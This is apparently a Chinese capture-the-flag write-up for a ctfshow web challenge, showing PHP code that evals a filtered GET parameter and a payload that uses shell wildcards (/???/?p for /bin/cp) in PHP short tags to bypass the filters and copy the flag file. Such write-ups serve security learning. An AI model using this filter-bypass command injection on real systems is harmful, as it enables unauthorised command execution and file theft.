CTF web之旅 32
ctfshow web 红包题第二弹
按照提示传入?cmd 看到一下源码
<?php if(isset($_GET['cmd'])){ $cmd=$_GET['cmd']; highlight_file(__FILE__); if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){ die("cerror"); } if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){ die("serror"); } eval($cmd); } ?>
可以发现p和?是没有被过滤掉的
看了师傅的payload
?cmd=?><?=`/???/?p /???????? p.ppp`;?>
功能相当于是
?cmd=?><?=`/bin/cp /flag.txt p.ppp`;?>
乍一看感觉很奇妙
推测是?应该是被当做了通配符 在linux试了以下确实是这样
比如说 cd /???? 会匹配四个字符的目录,并且按照字母顺序优先选择靠前的
这题还有一点需要知道的是https://www.cnblogs.com/fnlingnzb-learner/p/10656375.html
/bin/cp 代表的是脚本文件执行的目录
拓展以下linux的命令目录
https://blog.csdn.net/u010013573/article/details/89007663
知道以上这些linux的知识 应该就好理解了
?>是闭合标签 <?=?>是PHP短标签
传入payload得到 前往url/p.ppp 目录可下载flag文件